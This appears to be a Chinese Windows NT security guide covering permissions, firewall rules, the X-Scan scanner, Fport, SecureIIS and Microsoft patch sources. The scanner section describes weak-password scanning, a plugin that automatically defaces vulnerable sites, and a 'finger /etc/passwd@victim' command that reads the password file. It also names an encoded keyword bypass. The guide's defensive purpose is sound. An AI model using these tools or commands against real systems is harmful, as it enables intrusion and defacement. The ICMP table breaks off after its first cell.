先来看看图中的权限表达,最顶端有 path,account,own,dir,file,success,failure 这么 7 个项目,分别代表路径,帐户,所有者,目录权限,文件权限,成功审核,失败审核 7 个方面。下面我将就上图中的一些例子来进行说明:
c:\boot.ini 是个文件,有关这个文件的说明有 3 行,第一行的意思是用户组 power users 对这个文件具有 RX 权限。第二行的意思是用户组 administrators 对这个文件具有 All 的权限并且是这个文件的所有者(看到哪个小 o 了),第三行的意思是 system 对这个文件具有 ALL 的权限。
C:\Documents and Setting\ 是个目录,有关这个目录的说明有 5 行,第一行的意思是 system 的目录和文件权限都为 All, 第二行的意思是 administrators 具有和 system 相同的权限并且它还是这个目录的所有者。第三行的意思是 users 具有目录和文件的 RX 权限。第四行的意思是 Power Users 具有文件和目录的 RX 权限。第五行的意思是 everyone 拥有文件和目录的 RX 权限。
说了这么多的 ALL , RX……. 不熟悉 NT 的人肯定满脑糨糊了吧,别急,下面就对这些东西进行解释。
目录权限:
R Account can list the contents of the directory.
W Account can add new files and subdirectories to the directory.
X Account can traverse the directory as part of a path.
D Account can delete the entire directory.
P Account can change permissions for the directory and all files and subdirectories.
O Account can change ownership of the directory.
All Same as RWXDPO.
No access Account is denied all access to directory.
文件权限:
R Account can read the file.
W Account can write to the file.
X Account can execute the file.
D Account can delete the file.
P Account can change permissions for the file.
O Account can change ownership of the file.
All Same as RWXDPO.
No access Account is denied all access to file.
审核:
R Audit attempts to read file or list directory contents.
W Audit attempts to write to file or add files/subdirectories to directory.
X Audit attempts to execute file or traverse directory as part of a path.
D Audit attempts to delete file or directory.
P Audit attempts to change change permissions for the file or directory.
O Audit attempts to change ownership of the file or directory.
All Same as RWXDPO audit settings.
上面那点点英文应该难不住正在看文章的你吧,嘿嘿。
二.防火墙
防火墙技术目前的发展比较快,一般的将,防火墙分为包过滤防火墙,应用网关,代理防火墙几种,下面就针对一些典型的产品进行介绍,注意的是我没有钱购买那些大公司的产品,而很多的免费的东西又实在是我不喜欢的东西,就象某些产品的防火墙只有简单的 3 个选项,低,中,高三个防火级别,也许他们这样做是为了让别人更能够上手,但是这种不能细化安全的产品只适合个人普通用户。另外要说的一句就是不能迷信防火墙,因为这种一个产品就解决所有安全问题是不可能的。好了下面就针对一些 NT 下 的安全产品,就拿几个典型的防火墙来说明吧。
国产蓝盾
我没有企业版,但是它的个人版是免费的,呵呵,那就从个人版看企业版拉。先看看它的界面(见图 4-4 )
(图 4-4 )
这个产品的个人版很简单,最重要的也就 2 个窗口,一个就是上图的 rules 设置窗口,一个就是日志窗口,看这个个人版就是一个典型的包过滤防火墙,使用数据流向,源端口,目的地端口,数据标志位等等的信息来设置一个过滤准则,来确定到底是通过还是拦截。这当然需要有很深的 tcp/ip 的知识,不过蓝盾这个产品好就好在它自定了一个安全规则,他可以让你实现一定的服务,这些 rules 都有自己的中文说明,看起来还不错吧,当然它也有自己的缺点,就我使用的免费个人版来说,其中的 finger 工具简直就是废物一个,系统设置窗口放了一大堆的端口信息在那里不知所谓,声音报警开关竟然又独立一派,最可恨的是这个程序可能还不是很稳定,我几次系统不能正常关机,要把 landon 的进程关闭才能够正常关机。看他的主页上说 (http://www.landon.com) 自己的企业级的防火墙具备 NAT 工能,那就是说他的企业防火墙还可以做成网关来使用了,呵呵,它还支持 VPN ,由于我手头没有软件,所以就不能对它做详细的评述了。
包过滤防火墙的核心或者说灵魂我认为是规则 (rules) 的设定,下面就规则的设定进行简单的讨论(注意下面的内容是针对对网络协议和工作有较坚厚基础的人的)。防火墙的规则是有先后顺序的,如果规则 1 先把本地 web 服务过滤掉了,那么以后即使有另外一条规则是开启本地 web 服务的,产生的结果仍然是 web 服务不能使用。防火墙对数据包的应答方法也各有不同,例如 linux 下的 ipchains 对于数据包有 deny( 抛弃 ),reject (拒绝) ,allow( 通过 ) 三种 , 而蓝盾个人版里面的处理方法有拦截,通行,下一条三种,要注意各种处理方法的不同。另外防火墙对数据链路的方向性也有定义,一般情况下有 output( 输出 ) , input( 输入 ),forward( 转发 ) 等 , 而蓝盾个人版没有定义转发,只有输入,输出和全向 3 种。再有防火墙还有丰富的可控制项目,例如协议,目标地址,源地址,目标地址端口,源地址端口,输入输出流向,和 TCP/IP 的标志位, ICMP 的类型都能够作为规则的条件。了解了这些基础内容以后,我们就具体说一下一般防火墙规则的实现。
1 . 首先我们要删除任何已经存在的规则,这样会有一个清晰的开始哦。而且不会在包还未经过你的过滤规则的时候,就和以前的规则进行了匹配。
2 . 其次定义默认的规则,默认的规则就是指当所有的规则都不匹配的时候所采取的规则,默认规则一般有 2 种:禁止一切,接受一切。在这两个规则里面禁止一切的设置对防火墙的设置是比较难,但是安全,你只需要针对你想开启的服务进行设置防火墙的规则。如果你使用接受一切的默认规则,对于设置防火墙比较容易,但是不够安全,这需要你想象你所有可能有的服务,并对它设置。一般的情况下,商业防火墙所采用的默认规则都是禁止一切。
3 . 启用回环接口,允许在 lo 的各类传输。
4 . 禁止互连网端口 <-------- A,B,C 类专用 IP 地址的连接。
本来这些专用地址是用在内部网的,不应该出现在互联网络上,但是如果路由表配置错误,或者你的路由是自动路由的话,路由将转发伪造 ip 地址为此内网的主机的黑客主机的数据包。
5 . 禁止互连网端口 ------- 127.0.0.0/8 专用 IP 地址的连接。
这个专用地址是用来被系统软件内部调用的,这条规则防止使用这个 IP 地址进行欺骗。
6 . 禁止互连网端口 --------- 来源于 255.255.255.255 的数据。
根本不应该有这个源地址的数据包,因为这个地址是广播地址呀。
7 . 禁止互连网端口 --------- 目的是 0.0.0.0 的数据。
这个数据包是正常的,不过通常是用来刺探机器是否运行了 BSD 类的网络软件,由此来确定是否是 unix 机器(嘿嘿,在 NT 系统下最好也关闭这个东西)。
8 . 禁止互连网端口 ------- 源地址是 D 类地址的数据。
D 类多点投送地址只有在做为目的地址的时候才合法。
9 . 禁止互连网端口 <--------- 目的地址是 D 类地址的数据。
只有多点投送的数据和音频服务需要多点投送和接受,你有吗?一般的情况你不会有这个服务吧。
10 . 禁止互连网端口 ---------- 源地址是 E 类地址的数据。
11 . ICMP 消息控制协议比较复杂,不能够一概而论把它全都屏蔽掉,下面就 ICMP 常用类型做个简单介绍: ( 注意:这只是一个基本的纲要,你需要针对自己的特殊的情况进行修改,例如 ICMP 重定向攻击就需要把重定向的包过滤掉 ………….)
数字类型 | 名称 | 功能说明 | 防火墙策略 |
0
服务 | SMTP | POP | Telnet | FTP | WEB | SSH | NNTP | Tracerout | DHCP |
端口 | 25 | 110 | 23 | 21.20 | 80 | 22 | 119 | 33434 | 67,68 |
协议 | TCP | TCP | TCP | TCP | TCP | TCP | TCP | UDP | UDP |
三.扫描工具
扫描器可以帮助你检查自己网络的脆弱性,虽然说有很多的国外的商业扫描器是十分好的作品,但是笨重的身躯和繁长的报告能让你头痛 3 天,为此,我在这里特别给大家介绍一个国产的免费的扫描器 -----xscan 。 Xscan 的作者就是冰河,它的最大的优点就是中文的报告,和对漏洞的中文的评述(我认为)。它最大的缺点就是功能仍然不够全面,感觉对 CGI 漏洞的扫描功能做的比较好,其他的漏洞检查仍然需要大力改进,而且速度比较慢。好了,废话少说,先让我们看看它的说明书吧。
一 . 系统要求: Windows 98/NT4.0/2000
二 . 功能简介:
采用多线程方式对指定 IP 地址段 ( 或单机 ) 进行安全漏洞扫描,支持插件功能,提供了图形界面和命令行两种操作方式,扫描内容包括:标准端口状态及端口 banner 信息、 CGI 漏洞、 RPC 漏洞、 SQL-SERVER 默认帐户、 FTP 弱口令, NT 主机共享信息、用户信息、组信息、 NT 主机弱口令用户等。扫描结果保存在 /log/ 目录中, index_*.htm 为扫描结果索引文件。对于一些已知的 CGI 和 RPC 等漏洞,我们给出了相应的漏洞描述、利用程序及解决方案,其它漏洞资料正在进一步整理完善中,您也可以通过本站的 " 安全文献 " 和 " 漏洞引擎 " 栏目查阅相关说明。
三 . 所需文件:
xscan_gui.exe -- X-Scanner 图形界面
xscan.exe -- X-Scanner for Windows 98/NT4.0/2000 主程序
mssql.dll -- SQL 动态链接库
netbios.dll -- NetBios 动态链接库
oncrpc.dll -- OncRpc 动态链接库
readme.txt -- 使用说明
/dat/config.ini -- 用户配置文件,包括扫描端口、默认用户名及口令等信息
/dat/cgi.lst -- CGI 漏洞列表
/dat/rpc.ini -- RPC 程序名称及漏洞列表
/dat/ntuser.dic -- NT 主机用户名字典文件,用于扫描 NT 弱口令用户
/dat/ntpass.dic -- NT 主机密码字典,用于扫描 NT 弱口令用户
/plugin -- 用于存放所有插件 ( 后缀名为 .nfs) ,插件也可放在 xscan.exe 所在目录的其他子目录中,程序会自动搜索。
/cgi/*.htm -- CGI 漏洞描述及解决方案,其中 index.htm 为主索引文件
/cgi/ -- CGI 漏洞利用程序及实例
/rpc/*.htm -- RPC 漏洞描述及解决方案,其中 index.htm 为主索引文件
/rpc/ -- RPC 漏洞利用程序及实例
注: cgi 目录和 rpc 目录内仅包含各漏洞说明及利用程序,并非扫描器所必需的文件。
四 . 运行参数说明:
1. 命令行: Xscan [ 起始地址 ]<-[ 终止地址 ]> [ 扫描选项 ]
其中的 [ 扫描选项 ] 含义如下:
-port : 扫描标准端口 ( 端口列表可通过\ dat\config.ini 文件定制 ) ;
-banner : 获取开放端口的 banner 信息,需要与 -p 参数合用;
-cgi : 扫描 CGI 漏洞;
-rpc : 扫描 RPC 漏洞;
-sql : 扫描 SQL-SERVER 默认帐户;
-ftp : 尝试 FTP 默认用户登录 ( 用户名及口令可以通过\ dat\config.ini 文件定制 ) ;
-netbios: 获取 NetBios 信息 ( 若远程主机操作系统为 Windows9x/NT4.0/2000) ;
-ntpass : 尝试弱口令用户连接 ( 若远程主机操作系统为 Windows NT4.0/2000) ;
-all : 扫描以上全部内容;
-v : 显示详细扫描进度;
-d : 禁止扫描前 PING 被扫主机。
-plugin : 使用插件;
-t [ 线程数量 ]: 设置线程数量,默认为 20 个线程,最大值为 50 ;
-proxy [ 代理服务器 : 端口 ]: 通过代理服务器扫描漏洞,目前只适用于 "-cgi" 选项;
2. 示例:
xscan xxx.xxx.1.1-xxx.xxx.10.255 -all -plugin
含义:扫描 XXX.XXX.1.1-XXX.XXX.10.255 网段内主机的所有信息,并使用插件;
xscan xxx.xxx.1.1 -netbios -ntpass -t 30
含义:获取 XXX.XXX.1.1 主机的 Netbios 信息,并检测 NT 弱口令用户,线程数量为 30 ;
xscan xxx.xxx.1.1 -port -banner -cgi -proxy 129.66.58.13:80 -v -d
含义:扫描 xxx.xxx.1.1 主机的标准端口状态,通过代理服务器 "129.66.58.13:80" 扫描 CGI 漏洞,检测端口 banner 信息,且扫描前不通过 ping 命令检测主机状态,显示详细扫描进度。
五 . 数据文件格式:
1."dat\config.ini" :
[PORT-LIST] :待扫描端口,格式为 "Port= 端口 1, 端口 2, 端口 3..." ;
[FTP-DEFAULT-ACCOUNTS] : FTP 默认帐户,格式为 " 用户名 = 口令 1, 口令 2..." ;
[NT-PASS-DICT] :设置 NT 用户名及密码字典所在位置,用于扫描 NT 弱口令用户,格式为 "user_dict=.\dat\nt_user.dic" ; "pass_dict=.\dat\nt_pass.dic" ,可根据需要更改字典文件名 "ntuser.dic" 和 "ntpass.dic" ,文件名为空表示不使用字典文件 ( 如 "pass_dict=") 。注:只有当无法通过 NETBIOS 获取对方用户列表时,才从字典文件中获取用户名,否则用户名字典无效,程序将以当前服务器中用户列表作为用户名字典;
[NT-DEFAULT-ACCOUNTS] : NT 默认帐户,当无法通过 NETBIOS 获取用户名列表而且又未设置用户名字典时,将由该处获取用户名及口令,格式为 " 用户名 = 口令 1, 口令 2..." ;
[SQL-SERVER-DEFAULT-ACCOUNTS] : SQL-SERVER 默认帐户,格式为 " 用户名 = 口令 1, 口令 2..." ;
2."dat\cgi.lst" :
CGI 程序路径 1
CGI 程序路径 2
CGI 程序路径 3
......
3."dat\rpc.ini" :
1) 存在漏洞的 RPC 程序列表,内容及格式如下:
[ 编号 1]
ID= 程序 ID ; name= 程序名称; alias= 程序别名; version= 程序版本; protocol= 协议; level= 风险等级。
[ 编号 2]
......
2) RPC 程序 ID 与名称对应表:
[RPC-NAME] :已知的 RPC 名称,格式为 " 程序 ID = 程序名称 , 程序别名 1 程序别名 2 ..." 。
六 . 插件接口:
1. bind.nfs
扫描漏洞: 1) bind NXT records 漏洞
参考 http://security.nsfocus.com/showQuery.asp?bugID=114
2) ISC Bind 8 TSIG 缓冲区溢出漏洞
参考 http://security.nsfocus.com/showQuery.asp?bugID=1230
3) DNS Supports IQUERY 漏洞
参考 http://www.whitehats.com/info/IDS277
溢出程序参考 http://www.securityfocus.com/vdb/?id=134
2. finger.nfs
扫描漏洞: 1) finger 0@host 漏洞
参考 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
2) FreeBSD 4.1.1 finger 漏洞
FreeBSD 4.1.1 的 finger 实现有问题,执行 finger filename@victim ,可以看到文件内容,例如 finger /etc/passwd@victim 可以看到 passwd 文件
3) finger 重定向漏洞
执行 finger @host@victim ,可以用 victim 做代理来 finger host 主机
3. sygate.nfs
扫描漏洞: 1) 某些版本的 sygate 有一个后门,可以通过 7323 端口远程控制
参考 http://www.securityfocus.com/vdb/?id=952
中文 http://security.nsfocus.com/showQuery.asp?bugID=273
4. RedV.nfs
老鬼 (colossus) 为纪念 2001 年 5 月 1 日 -2001 年 5 月 7 日所做,自动更换页面插件,将编辑好的 Index.htm 文件存放至 xscan.exe 所在目录下的 dat 目录,当扫描出对方存在 SQL-SERVER 默认帐户、 NT 管理员空口令、 UNICODE 中的任何一种漏洞,将自动用 Index.htm 文件覆盖对方原索引文件,其中 UNICODE 漏洞仅限于英文 WINDOWS ,本插件仅供学习及技术交流之用,请勿滥用。
好了,有着冰河这么一个优秀的程序设计人员在开发它,我们只要等待 + 鼓励 + 帮助,那么很快 xscan 将迅速成长起来。当然如果你的机器需要特别的"照顾"的话,可以选用一些商业扫描器,例如 ISS,retina 等等。
四. IDS
我没有用过 NT 下的几个满意的,对于这种工具很多都是商业用的,需要 money 去买,嘿嘿 ……. ,不过我还是给大家推荐一款自称是 IDS 的 NT 下的工具。
Fport 这个工具的主要用途就是列出你所开启的端口和程序,他一共就是 3 个文件,很小,但是很能干哦,我想对于查找那些不明程序的开了什么端口很有效果。下面是他的输出:
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
392 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
8 System -> 139 TCP
8 System -> 445 TCP
512 MSTask -> 1025 TCP C:\WINNT\system32\MSTask.exe
8 System -> 1027 TCP
392 svchost -> 135 UDP C:\WINNT\system32\svchost.exe
8 System -> 137 UDP
8 System -> 138 UDP
8 System -> 445 UDP
220 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
208 services -> 1026 UDP C:\WINNT\system32\services.exe
很清楚吧,但是它自称是 IDS 似乎是有点夸大了。哎,要是谁有什么有趣的 IDS 软件给我玩玩就好了。
六. 其他
SecureIIS 1 。 0 。 4
Eeye 安全公司( http://www.eeye.com) 刚刚不久推出一款新的产品 SecureIIS, 这个东东是一个具备防火墙和入侵检测系统特性的产品,它能够保护 IIS 系统不受已知或者未知的入侵方法的侵害,它工作在应用程序层,包裹在 IIS 外面来检测数据安全 ,让攻击变的更加困难。
安装好这个工具以后,然后选定你想要保护的站点,接着就是自定义保护项目了,在这里一共有 7 个项目,我们将在下面一一进行介绍。
Buffer overflow----- 常用的攻击方法,产生原因是由于攻击者使用一个发送一个大的请求到 WEB 服务器, WEB 服务器尝试把这个大的请求 copy 到一个较小的缓冲器里,这样一个 Buffer overflow 就产生了,如果攻击者发送一个特别的缓冲的来溢出的话,他可能能够在你的 WEB 服务器上执行一些命令。
ShellCode Protection----- 检查数据中可能存在的执行命令经过你的服务器。
Keyword Filtering------ 默写确定的攻击种类可以使用过滤关键字的方法停止,例如过滤掉 cmd.exe 和 system32 ,嘿嘿,最近很常见的攻击哦。
Allowed Folders------- 加入一些检查的路径将使你的 WEB 避免遭受一些 Directory Traversal Attacks 。
Http Method---------WEB 服务的请求方法的限定将使你的服务器更加安全。缺省情况下 SecureIIS 只允许 GET 和 POST 两种方法,嘿嘿,如果你的 WEB 没有留言本,论坛等等需要 POST 的请求的页面,那么连 POST 也可以省掉了 .
Miscellaneous------- 一些分类模糊的攻击模式的保护就在这里拉。
Sellect error file------- 错误文件的选择。
总的来说那,这个产品的确是有点新意,但是毕竟才刚刚开发出来,许多的功能仍需要完善,就例如说它的 1.0.3 版本虽然对 ADMIN 的关键字进行检查,但是对于解码的关键字就没有进行检查例如 "%41DMIN" 的请求就通过了 ……. 咳,说什么好呢,革命尚未完成,同志还要努力呀。哈哈
忘记唠叨一句,在它的子目录 policies 里有一个 default.ini 是一个缺省的配置,你可以看看它到底做了些什么。
Windows NT 安全资源的查找
如何查找各式各样的补丁,如果你经常查看 Microsoft technet security 网站( http://www.microsoft.com/technet/security/ )
和 Microsoft product notification service
( <http://www.microsoft.com/technet/security/notify.asp> )
站点就知道了大概的各类安全信息,但是你还需要各类不同的补丁到底去那里寻找,本文的目的就是为了让你们寻找补丁更加容易。
打补丁是一件刻不容缓的事情, Microsoft 公司的开发人员也是在和时间赛跑。在得到一个漏洞报告的时候, Microsoft 公司首先将开发一个支持少数语言和一个手册的安装补丁,然后他们将继续开发支持更多语言的补丁包。
一.我们应该去看看安全公告板( security bulletins ),使用搜索引擎来搜索你所需要的漏洞信息,在这个公告板上付有很全面的信息,包括漏洞的信息,所带来的风险,给出的建议和其他的一些内容。从这里开始,你将会对所有的安全信息和补丁有个大致的了解。安全公告板在 technet 上,它在上面列出了最近的安全信息和一个搜索引擎,你也可以在上面订阅一份 maillist, 这样他们更新的时候,你也同时得到了信息。在安全公告板上就已经有的 patch 已经给出了下载的地点,如果你觉的你想知道的更多,可以通过下面的资源来进行搜索。
二 . Microsoft Download Center( 微软下载中心 ) 应该可以理解为 一个 ftp 站点,它包含了可下载的所有的东西,例如白皮书,产品更新,工具和其他,当然也包括了安全补丁。
<http://www.microsoft.com/downloads/search.asp> ?
下载中心的优势在于当安全通告被发出的时候就更新了他的 patch 库。你可以使用两个快捷的方式来查找安全补丁。
1 . <http://www.microsoft.com/Downloads/search.asp>
这里包含各个详细的产品和系统的目录,从这里选择你需要的进入。
2 . <http://www.microsoft.com/downloads/search.asp?Search=Keyword&Value='security_patch'&OpSysID=1>
使用一个关键字 security_patch 来进行搜索,因为所有的安全补丁都和这个关键字有连接。
三. Windows Update Site 是一个最简单简便的网站,你只要在浏览器里输入这个地址,那么 WEB 服务器自动检测你的机器并告诉你需要安装些什么补丁,你选择了你想要的补丁以后,安装也是自动化的,这个站点的工程的确是比较令人惊异的,因为它要区别每个访问这个页面的机器的不同类型和配置,从而给出适当的补丁而不出错。当然他的缺点也是有的,如因为它的工作的复杂性使的它的速度不是很快,而且 patch 的更新速度更是慢于下载中心数周时间。它的地址在:
<http://corporate.windowsupdate.com/en/about.htm>
当然你还可能遇到下列一些特殊的情况,例如你的权限不支持你安装补丁,或者你想帮你一个朋友下载德文的系统的补丁,而你自己的系统是英文的,又或者你的浏览器比较的古老,不支持这个站点,那么微软公司针对这些情况又开放了另外一个站点 Windows Update Downlevel Pages
这个站点的内容不是自动下载并安装的,你可以选择适当的语言或者版本的补丁来下载,内容是 Update Site 上的。下面给出各个不同的系统的下载站点(这里对 9x 系统就不再标明了)。
Windowns NT 4.0 Server
<http://www.microsoft.com/NTServer/all/downloads.asp>
Windows NT 4.0 workstation
<http://www.microsoft.com/ntworkstation/downloads/>
Windows 2000
<http://www.microsoft.com/windows2000/downloads/>
Internet Explorer
<http://www.microsoft.com/windows/ie/download/default.htm>
四.其他
office 产品的更新 WEB 站点:
<http://www.officeupdate.com/>
另外还有微软公司的两个产品有自己的更新站点
Microsoft VM
<http://www.microsoft.com/java/>
Microsoft DATA Access components
http://www.microsoft.com/data/
Windows NT 安全资源 ( 转载自 NT-SECURItY)
WWW: <http://www.somarsoft.com/> <http://www.ntsecurity.com/> <http://listserv.ntbugtraq.com/> <http://www.ntresearch.com/> <http://www.ntinternals.com/> <http://www.intrusion.com/> <http://www.iss.net/> <http://samba.anu.edu.au/pub/samba/samba.html> <http://home.eunet.no/~pnordahl/ntpasswd/> <http://www.dataprotect.com/ntfrag/>
FTP: <ftp://ftp.netcom.com/pub/wo/woodardk/>
MAIL-list
The NT-security mailing list:
To subscribe, send a message with SUBSCRIBE in the body to ntsecurity-request@iss.net <mailto:ntsecurity-request@iss.net> .
NT-BugTraq:
Like the BugTraq list, this is a full disclosure list. Send "subscribe ntbugtraq firstname lastname" (without the quotes) in the body of a message to listserv@listserv.ntbugtraq.com <mailto:listserv@listserv.ntbugtraq.com> .